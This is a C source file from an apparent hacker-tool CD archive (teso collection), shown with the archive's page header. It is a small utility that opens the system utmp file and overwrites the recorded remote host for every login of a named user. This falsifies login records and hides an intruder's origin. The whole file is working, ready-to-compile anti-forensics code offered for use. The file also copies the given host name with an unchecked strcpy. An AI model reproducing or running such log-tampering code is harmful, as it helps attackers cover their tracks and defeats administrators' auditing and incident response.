home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / utcl.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-07  |  2.0 KB  |  81 lines

  1. <html>/*  HiHo,
  2.    this utility changes the host of a given username (all his logins affected)
  3.    usage is utcl <user> <host> where host is the desired host (only 20 chars)
  4.  
  5.    this piec of software is mostly ripped from ute.c which i found on my hdd
  6.    and dont know where it came from.. many thanks to the author of this one..
  7.    thanks goes also out to xdr who gave me the idea of writing this (he wrote 
  8.    such thingie, but then lost it @#$! ;)
  9.  
  10.    have fun...
  11.    -hendy (flames to hendy@winterland.net)
  12.  
  13.    greetings: (oh, this is lame, i know) to #!teso, #hax, #hack
  14.  
  15.    // hope it's not too lame
  16.  
  17.  */
  18.  
  19. #include <stdlib.h>
  20. #include <sys/types.h>
  21. #include <string.h>
  22. #include <stdio.h>
  23. #include <unistd.h>
  24. #include <sys/file.h>
  25. #include <fcntl.h>
  26. #include <utmp.h>
  27. #include <pwd.h>
  28. #include <lastlog.h>
  29. // #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */
  30. #define MAX_ENT 100
  31.  
  32. int 
  33. main (int argc, char **argv)
  34. {
  35.   int item;
  36.   struct utmp Entry[MAX_ENT + 1];
  37.   off_t position[MAX_ENT + 1];
  38.   FILE *fptr;
  39.  
  40.   if (argc < 3)
  41.     {
  42.       printf ("usage: %s <user> <host>\n", argv[0]);
  43.       exit (1);
  44.     }
  45.  
  46.   if ((fptr = fopen (UTMP_FILE, "r+")) != NULL)
  47.     {
  48.       int last, num, i = 1;    /* get all utmp entries. */
  49.       while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0)
  50.     {
  51.       if (strcmp (Entry[i].ut_line, "") != 0)    /* skip empty entries */
  52.         {
  53.           position[i] = ftell (fptr) - (long) (sizeof (Entry[i]));
  54.           i++;
  55.         }
  56.     }
  57.       last = i - 1;        /* keep a tab on how many entries there are. */
  58.       position[i] = ftell (fptr);    /* keep track of EOF */
  59.  
  60.       for (item = 1; item <= last; item++)
  61.     {
  62.  
  63.       if (!(strcmp (Entry[item].ut_name, argv[1])))
  64.         {
  65.           strcpy (Entry[item].ut_host, argv[2]);    /* insert new host */
  66.           fseek (fptr, position[item], SEEK_SET);    /* seek position in utmp */
  67.           fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr);    /* write to file */
  68.  
  69.         }
  70.     }
  71.  
  72.  
  73.       fclose (fptr);
  74.     }
  75.   else
  76.     {
  77.       printf ("\nERROR: cannot open file %s \n", UTMP_FILE);
  78.     }
  79.   return (0);
  80. }
  81.